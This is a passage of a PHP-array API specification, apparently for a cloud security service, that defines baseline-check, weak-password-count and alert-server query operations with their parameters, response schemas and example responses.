'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n" ."\n" .'> You can call the [DescribeAllGroups](~~130972~~) operation to query the IDs of asset groups.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6E4CBE87-E887-5AF1-86D2-78EB4AA3E771', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'WarningMachines' => [ 'description' => 'The information about the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the servers on which alerts are generated.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The verification status of the risk item after the risk item is fixed. Valid values:'."\n" ."\n" .'* **1**: complete'."\n" .'* **2**: verifying'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'InstanceId' => [ 'description' => 'The server ID.'."\n", 'type' => 'string', 'example' => 'i-m5ee8b9nr3h30mhb****', ], 'HighWarningCount' => [ 'description' => 'The number of **high-risk** items on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '1.2.XX.XX', ], 'RegionId' => [ 'description' => 'The ID of the region in which the server is deployed.'."\n", 'type' => 'string', 'example' => 'cn-qingdao', ], 'LowWarningCount' => [ 'description' => 'The number of **low-risk** items on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'PortOpen' => [ 'description' => 'Indicates whether a port on the server is accessible over the Internet. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Uuid' => [ 'description' => 'The UUID of the server on which the baseline check is performed.'."\n", 'type' => 'string', 'example' => '9888955c-0076-49da-bd9c-34f5492b****', ], 'MediumWarningCount' => [ 'description' => 'The number of **medium-risk** items on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'PassCount' => [ 'description' => 'The number of the check items that passed the baseline check on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'oracle-win-00****', ], 'Bind' => [ 'description' => 'Indicates whether Security Center is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AuthVersion' => [ 'description' => 'The edition of Security Center that is authorized to protect the asset. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **5**: Advanced edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'ContainerId' => [ 'description' => 'The container ID.'."\n", 'type' => 'string', 'example' => '48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d******', ], 'ContainerName' => [ 'description' => 'The name of the container.'."\n", 'type' => 'string', 'example' => 'redis', ], 'Online' => [ 'description' => 'Indicates whether the agent is online. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'AssetType' => [ 'description' => 'The type of cloud product assets.'."\n" .'> You can call [ListCloudAssetInstances](~~ListCloudAssetInstances~~) to query the types of cloud product assets.', 'type' => 'string', 'example' => '0', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"RequestId\\": \\"6E4CBE87-E887-5AF1-86D2-78EB4AA3E771\\",\\n \\"TotalCount\\": 1,\\n \\"Count\\": 10,\\n \\"WarningMachines\\": [\\n {\\n \\"Status\\": 1,\\n \\"InternetIp\\": \\"1.2.XX.XX\\",\\n \\"InstanceId\\": \\"i-m5ee8b9nr3h30mhb****\\",\\n \\"HighWarningCount\\": 10,\\n \\"IntranetIp\\": \\"1.2.XX.XX\\",\\n \\"RegionId\\": \\"cn-qingdao\\",\\n \\"LowWarningCount\\": 3,\\n \\"PortOpen\\": true,\\n \\"Uuid\\": \\"9888955c-0076-49da-bd9c-34f5492b****\\",\\n \\"MediumWarningCount\\": 2,\\n \\"PassCount\\": 10,\\n \\"InstanceName\\": \\"oracle-win-00****\\",\\n \\"Bind\\": true,\\n \\"AuthVersion\\": 7,\\n \\"ContainerId\\": \\"48a6d9a92435a13ad573372c3f3c63b7e04d106458141df9f92155709d******\\",\\n \\"ContainerName\\": \\"redis\\",\\n \\"Online\\": true,\\n \\"AssetType\\": \\"0\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 1\\n 10\\n 6E4CBE87-E887-5AF1-86D2-78EB4AA3E771\\n 1\\n 10\\n \\n 1\\n 1.2.XX.XX\\n i-m5ee8b9nr3h30mhb****\\n 10\\n 1.2.XX.XX\\n cn-qingdao\\n 3\\n true\\n 9888955c-0076-49da-bd9c-34f5492b****\\n 2\\n 10\\n oracle-win-00****\\n \\n","errorExample":""}]', 'title' => 'DescribeWarningMachines', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', 'translator' => 'machine', ], 'DescribeStrategyExecDetail' => [ 'summary' => 'Queries the results of the last baseline check by using a specified baseline check policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '92206', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.', 'type' => 'string', 'required' => false, 'example' => '1.2.XX.XX', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n" ."\n" .'> You can call the [DescribeStrategy](~~DescribeStrategy~~) operation to query the IDs of baseline check policies.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '8437592', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 10. If you leave this parameter empty, 10 entries are returned on each page.'."\n" ."\n" .'> We recommend that you do not leave this parameter empty.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'InProcessCount' => [ 'description' => 'The number of tasks that are **running **based on the baseline check policy.', 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'EndTime' => [ 'description' => 'The time when the baseline check ends.', 'type' => 'string', 'example' => '2021-12-05 00:12:46', ], 'StartTime' => [ 'description' => 'The time when the baseline check starts.', 'type' => 'string', 'example' => '2021-12-05 00:12:16', ], 'Percent' => [ 'description' => 'The execution progress of the baseline check policy.', 'type' => 'string', 'example' => '100%', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '01611D72-1E33-53F5-A9A5-C81B5561970F', ], 'FailCount' => [ 'description' => 'The number of check items that failed to pass the baseline check. This type of check item is considered risk items.', 'type' => 'integer', 'format' => 'int32', 'example' => '94', ], 'Source' => [ 'description' => 'The type of the baseline check. Valid values:'."\n" ."\n" .'* **Schedule**: automatic check that periodically runs'."\n" .'* **Manual**: intermediate check that is manually performed', 'type' => 'string', 'example' => 'Manual', ], 'SuccessCount' => [ 'description' => 'The number of check items that **passed** the baseline check.', 'type' => 'integer', 'format' => 'int32', 'example' => '81', ], 'FailedEcsList' => [ 'description' => 'The servers on which risk items were detected.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The server on which risk items were detected.'."\n", 'type' => 'object', 'properties' => [ 'IP' => [ 'description' => 'The IP address of the server on which the baseline check was performed.', 'type' => 'string', 'example' => '115.28.XX.XX', ], 'InternetIp' => [ 'description' => 'The public IP address.', 'type' => 'string', 'example' => '115.28.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address.', 'type' => 'string', 'example' => '172.31.XX.XX', ], 'Reason' => [ 'description' => 'The failure cause for the check item.', 'type' => 'string', 'example' => 'Detect timeout', ], 'InstanceName' => [ 'description' => 'The name of the instance.', 'type' => 'string', 'example' => 'worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"InProcessCount\\": 0,\\n \\"EndTime\\": \\"2021-12-05 00:12:46\\",\\n \\"StartTime\\": \\"2021-12-05 00:12:16\\",\\n \\"Percent\\": \\"100%\\",\\n \\"RequestId\\": \\"01611D72-1E33-53F5-A9A5-C81B5561970F\\",\\n \\"FailCount\\": 94,\\n \\"Source\\": \\"Manual\\",\\n \\"SuccessCount\\": 81,\\n \\"FailedEcsList\\": [\\n {\\n \\"IP\\": \\"115.28.XX.XX\\",\\n \\"InternetIp\\": \\"115.28.XX.XX\\",\\n \\"IntranetIp\\": \\"172.31.XX.XX\\",\\n \\"Reason\\": \\"Detect timeout\\",\\n \\"InstanceName\\": \\"worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0\\n 2021-12-05 00:12:46\\n 2021-12-05 00:12:16\\n 100%\\n 01611D72-1E33-53F5-A9A5-C81B5561970F\\n 94\\n Manual\\n 81\\n \\n 115.28.XX.XX\\n 115.28.XX.XX\\n 172.31.XX.XX\\n Detect timeout\\n worker-k8s-for-cs-cf5741fb95c3a45d0864f0e4544dc****\\n \\n","errorExample":""}]', 'title' => 'DescribeStrategyExecDetail', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeCheckEcsWarnings' => [ 'summary' => 'Queries the number of weak passwords that can cause high risks to your assets.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.', 'type' => 'string', 'required' => false, 'example' => '1.2.3.4', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'SasVersion' => [ 'description' => 'The edition of Security Center that you use. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **2** or **3**: Enterprise edition'."\n" .'* **5**: Advanced edition'."\n" .'* **6**: Anti-virus edition'."\n" ."\n" .'> Both the value 2 and the value 3 indicate the Enterprise edition.'."\n", 'type' => 'string', 'example' => '3', ], 'CanTry' => [ 'description' => 'Indicates whether you use the free trial of Security Center. Valid values:'."\n" .'- **0**: no'."\n" .'- **1**: yes', 'type' => 'string', 'example' => '0', ], 'WeakPasswordCount' => [ 'description' => 'The number of weak passwords that can cause high risks to your assets.', 'type' => 'string', 'example' => '3', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], [ 'errorCode' => 'UnknownError', 'errorMessage' => 'UnknownError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"SasVersion\\": \\"3\\",\\n \\"CanTry\\": \\"0\\",\\n \\"WeakPasswordCount\\": \\"3\\",\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 3\\n A05C19BD-13D1-4040-B1F6-821CFB9F4DE8\\n 0\\n 2\\n","errorExample":""}]', 'title' => 'DescribeCheckEcsWarnings', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeUserBaselineAuthorization' => [ 'summary' => 'Queries whether Security Center is authorized to run configuration checks on cloud services.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset owner.', 'type' => 'string', 'required' => false, 'example' => '1.2.3.4', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE', ], 'UserBaselineAuthorization' => [ 'description' => 'The information about whether Security Center is authorized to run configuration checks on cloud services.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'Indicates whether Security Center is authorized to run configuration checks on cloud services.'."\n" ."\n" .'* **0**: no. Security Center is not authorized to run configuration checks on cloud services.'."\n" .'* **1**: yes. Security Center is authorized to run configuration checks on cloud services.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE\\",\\n \\"UserBaselineAuthorization\\": {\\n \\"Status\\": 1\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n \\n 1\\n \\n\\n0AF20EB0-EBBC-4B94-9B84-F3BAFAC53EDE","errorExample":""}]', 'title' => 'DescribeUserBaselineAuthorization', 'requestParamsDescription' => ' ', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeStrategyDetail' => [ 'summary' => 'Queries the information about a baseline check policy.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Id', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'string', 'required' => true, 'example' => '123456', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'C5B28F65-9245-5DC1-B3CF-5F2756A756A8', ], 'Strategy' => [ 'description' => 'The information about the baseline check policy.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the baseline check policy. Valid values:'."\n" ."\n" .'* **1**: standard policies'."\n" .'* **2**: custom policies'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CycleDays' => [ 'description' => 'The check interval of the policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Name' => [ 'description' => 'The name of the baseline check policy.'."\n", 'type' => 'string', 'example' => 'TestStrategy', ], 'Id' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '123', ], 'CycleStartTime' => [ 'description' => 'The time period during which the check starts. Valid values:'."\n" ."\n" .'* **0**: 00:00 to 06:00'."\n" .'* **6**: 06:00 to 12:00'."\n" .'* **12**: 12:00 to 18:00'."\n" .'* **18**: 18:00 to 24:00'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'RiskTypeWhiteListQueryResultList' => [ 'description' => 'The information about the whitelist of risk items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TypeName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'hc_exploit', ], 'Alias' => [ 'description' => 'The alias of the check item.'."\n", 'type' => 'string', 'example' => 'Unauthorized Access', ], 'On' => [ 'description' => 'Indicates whether the check item is selected. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'SubTypes' => [ 'description' => 'The information about sub-check items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'TypeName' => [ 'description' => 'The type of the sub-check item.'."\n", 'type' => 'string', 'example' => 'hc_exploit_redis', ], 'Alias' => [ 'description' => 'The alias of the check item.'."\n", 'type' => 'string', 'example' => 'Redis unauthorized access high exploit vulnerability risk', ], 'On' => [ 'description' => 'Indicates whether the sub-check item is selected. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'false', ], 'CheckDetails' => [ 'description' => 'The details of custom check items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'The ID of the check item.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '206', ], 'CheckItem' => [ 'description' => 'The check item.'."\n", 'type' => 'string', 'example' => 'Ensure password expiration period is set.', ], 'CheckDesc' => [ 'description' => 'The description of the check item.'."\n", 'type' => 'string', 'example' => 'Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.', ], 'Rules' => [ 'description' => 'The details of rules.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Optional' => [ 'description' => 'Indicates whether the rule can be selected. Valid values:'."\n" ."\n" .'* **1**: yes'."\n" .'* **0**: no'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RuleDesc' => [ 'description' => 'The description of the rule.'."\n", 'type' => 'string', 'example' => 'Please customize the password expiration time detection standard as', ], 'DefaultValue' => [ 'description' => 'The default value of the rule.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RuleId' => [ 'description' => 'The rule ID.'."\n", 'type' => 'string', 'example' => 'login_unlock_deny_pam_faillock.must.cus', ], 'ParamList' => [ 'description' => 'The rule parameters.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the rule parameter.'."\n", 'type' => 'object', 'properties' => [ 'ParamDefaultValue' => [ 'description' => 'The default value of the rule parameter.'."\n", 'type' => 'string', 'example' => '7', ], 'Value' => [ 'description' => 'The configured value of the rule parameter.'."\n", 'type' => 'string', 'example' => '7', ], 'ParamName' => [ 'description' => 'The name of the rule parameter.'."\n", 'type' => 'string', 'example' => 'range_val', ], 'MaxValue' => [ 'description' => 'The maximum value of the rule parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '999', ], 'ParamType' => [ 'description' => 'The type of the rule parameter. Valid values:'."\n" ."\n" .'* **1**: input'."\n" .'* **2**: selection'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ParamDesc' => [ 'description' => 'The description of the rule parameter.'."\n", 'type' => 'string', 'example' => 'The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure', ], 'MinValue' => [ 'description' => 'The minimum value of the rule parameter.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'EnumValue' => [ 'description' => 'The options that can be selected for the rule parameter if the value of ParamType is set to 2.'."\n", 'type' => 'string', 'example' => '0,1,2,3', ], ], ], ], ], ], ], ], ], ], 'SupportedOs' => [ 'description' => 'The operating system type of the server. Valid values:'."\n" .'* **windows**'."\n" .'* **linux**', 'type' => 'string', 'example' => 'windows', ], ], ], ], ], ], ], 'StartTime' => [ 'description' => 'The start time of the check. Specify the time in the HH:mm:ss format.', 'type' => 'string', 'example' => '02:00:00', ], 'EndTime' => [ 'description' => 'The end time of the check. Specify the time in the HH:mm:ss format.', 'type' => 'string', 'example' => '03:00:00', ], 'CustomType' => [ 'description' => 'The type of the baseline check policy that you want to query. Valid values:'."\n" ."\n" .'* **common**: standard baseline check policy'."\n" .'* **custom**: custom baseline check policy', 'type' => 'string', 'example' => 'common', ], 'TargetType' => [ 'description' => 'The method that is used to apply the baseline check policy. Valid values:'."\n" ."\n" .'* **groupId**: asset groups'."\n" .'* **uuid**: assets', 'type' => 'string', 'example' => 'groupId', ], 'RiskSubTypeName' => [ 'description' => 'The subtype of the baselines. '."\n" ."\n" .'> You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to query the subtypes of baselines.', 'type' => 'string', 'example' => 'hc_nginx_linux,tomcat7,hc_mysql_ali,hc_docker', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C5B28F65-9245-5DC1-B3CF-5F2756A756A8\\",\\n \\"Strategy\\": {\\n \\"Type\\": 1,\\n \\"CycleDays\\": 3,\\n \\"Name\\": \\"TestStrategy\\",\\n \\"Id\\": 123,\\n \\"CycleStartTime\\": 0,\\n \\"RiskTypeWhiteListQueryResultList\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit\\",\\n \\"Alias\\": \\"Unauthorized Access\\",\\n \\"On\\": false,\\n \\"SubTypes\\": [\\n {\\n \\"TypeName\\": \\"hc_exploit_redis\\",\\n \\"Alias\\": \\"Redis unauthorized access high exploit vulnerability risk\\",\\n \\"On\\": false,\\n \\"CheckDetails\\": [\\n {\\n \\"CheckId\\": 206,\\n \\"CheckItem\\": \\"Ensure password expiration period is set.\\",\\n \\"CheckDesc\\": \\"Set password expiration time, force regular modification of password, reduce password leakage and guess risk.Use non-password login (e.g. key pair) please ignore this item.\\",\\n \\"Rules\\": [\\n {\\n \\"Optional\\": 1,\\n \\"RuleDesc\\": \\"Please customize the password expiration time detection standard as\\",\\n \\"DefaultValue\\": 2,\\n \\"RuleId\\": \\"login_unlock_deny_pam_faillock.must.cus\\",\\n \\"ParamList\\": [\\n {\\n \\"ParamDefaultValue\\": \\"7\\",\\n \\"Value\\": \\"7\\",\\n \\"ParamName\\": \\"range_val\\",\\n \\"MaxValue\\": 999,\\n \\"ParamType\\": 1,\\n \\"ParamDesc\\": \\"The setting value is 0 means no definition, 1 means success, 2 means failure, 3 means success and failure\\",\\n \\"MinValue\\": 1,\\n \\"EnumValue\\": \\"0,1,2,3\\"\\n }\\n ]\\n }\\n ]\\n }\\n ],\\n \\"SupportedOs\\": \\"windows\\"\\n }\\n ]\\n }\\n ],\\n \\"StartTime\\": \\"02:00:00\\",\\n \\"EndTime\\": \\"03:00:00\\",\\n \\"CustomType\\": \\"common\\",\\n \\"TargetType\\": \\"groupId\\",\\n \\"RiskSubTypeName\\": \\"hc_nginx_linux,tomcat7,hc_mysql_ali,hc_docker\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeStrategyDetail', ], 'ExportWarning' => [ 'summary' => 'Exports baseline check results.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '106282', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.0.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server whose baseline check results you want to export. Separate multiple UUIDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'inet-7c676676-06fa-442e-90fb-b802e****,inet-7c676676-06fa-442e-90fb-b****', ], ], [ 'name' => 'TypeName', 'in' => 'query', 'schema' => [ 'description' => 'The type of the baseline based on which baseline checks are performed.'."\n" ."\n" .'> You must set the value of this parameter to the value of the **TypeName** parameter that is returned by calling the [DescribeRiskType](~~DescribeRiskType~~) operation. If both the **TypeName** and **TypeNames** parameters are specified, only the **TypeName** parameter takes effect.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc_container', ], ], [ 'name' => 'TypeNames', 'in' => 'query', 'schema' => [ 'description' => 'The types of the baselines based on which baseline checks are performed. Separate multiple types with commas (,).'."\n" ."\n" .'> You must set the value of this parameter to the value of the **TypeName** parameter that is returned by calling the [DescribeRiskType](~~DescribeRiskType~~) operation. If both the **TypeName** and **TypeNames** parameters are specified, only the **TypeName** parameter takes effect.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc_container,cis', ], ], [ 'name' => 'SubTypeNames', 'in' => 'query', 'schema' => [ 'description' => 'The subtypes of the baselines based on which baseline checks are performed. Separate multiple subtypes with commas (,).'."\n" ."\n" .'> You must set the value of this parameter to the value of the **TypeName** parameter that is contained in the **SubTypes** parameter. You can call the [DescribeRiskType](~~DescribeRiskType~~) operation to obtain the value of the TypeName parameter.'."\n", 'type' => 'string', 'required' => false, 'example' => 'hc_middleware_ack_master', ], ], [ 'name' => 'RiskLevels', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the baseline check item. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high,medium', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of the check item in the baseline check results. Separate multiple statuses with commas (,). Valid values:'."\n" ."\n" .'* **3**: passed'."\n" .'* **1**: failed'."\n", 'type' => 'string', 'required' => false, 'example' => '1,3', ], ], [ 'name' => 'RiskName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the baseline.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Alibaba Cloud Standard - Windows 2016/2019 Security Baseline', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the baseline risks are handled. Valid values:'."\n" ."\n" .'* **Y**: yes'."\n" .'* **N**: no'."\n", 'type' => 'string', 'required' => false, 'example' => 'N', ], ], [ 'name' => 'IsSummaryExport', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the baseline check results are aggregated and exported. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '12', ], ], [ 'name' => 'RiskIds', 'in' => 'query', 'schema' => 